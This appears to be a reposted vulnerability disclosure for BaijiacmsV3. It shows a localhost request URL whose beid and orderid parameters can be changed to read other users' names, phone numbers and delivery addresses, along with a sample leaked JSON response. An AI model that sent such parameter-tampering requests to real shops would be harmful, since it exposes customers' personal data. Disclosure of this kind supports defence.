BaijiacmsV3|BaijiacmsV3 information disclosure BaijiacmsV3informationdisclosure

Information leakage caused by improper control of authority (“https://github.com/baijiacms/baijiacmsV3”)
The backstage interface needs to be added to a store，After the domain name is configured, visit the store home page.

文章图片

文章图片
There is a leak of information on the user's receipt address.
Example:"http://127.0.0.1/baijiacmsV3-master/index.php?mod=mobile&name=shopwap&do=myorder&op=detail&orderid=3&beid=2"
Response:{"message":{"id":"1","realname":"zhangsan","mobile":"13112345678","province":"\u5317\u4eac\u5e02","city":"\u5317\u4eac\u8f96\u533a","area":"\u4e1c\u57ce\u533a","address":"zhangsan_test"},"redirect":"","type":"ajax"}
【BaijiacmsV3|BaijiacmsV3 information disclosure】Beid parameter values can be modified to see other user receiving addresses.

BaijiacmsV3|BaijiacmsV3 information disclosure

推荐阅读

关于爱国的议论文关于爱国的议论文素材

redis+cookie实现单点登录单点登录用了redis

学翻锅一开始还怎么学如何快速学会翻锅

松下空调热风机不工作怎么回事,有哪些值得注意的地方？

关于地球资料关于地球介绍

如何保存蔬菜教你最方便的保存蔬菜方法

字节跳动既然有了抖音,为什么还要开发火山小视频,它俩不冲突矛盾吗？

广告协会是干什么的？

鸿蒙|还是放不下安卓？华为新系统正式现身，外媒：这是关键一步

处好婆媳关系坚持做好10件事，处好婆媳关系坚持做好10件事的原因

忘了苹果ID账号，iphoneID号忘了怎么办

业务数据分析表,检察院召开业务数据分析会

时光相册怎么使用艺术滤镜功能？详细操作步骤

有哪些好看的现代言情小说？

如何解决电视保险丝,主要考虑这几个方面

佳能6d定时拍照佳能6d2自拍定时器

大家说三农,三农是谁提出来的三农？三农具体指的什么？

荒野大镖客2商贩怎么玩荒野大镖客2商贩职业玩法技巧心得

小布丁冰棒的制作方法小布丁雪糕的做法教程分享

榴莲有苦味是怎么回事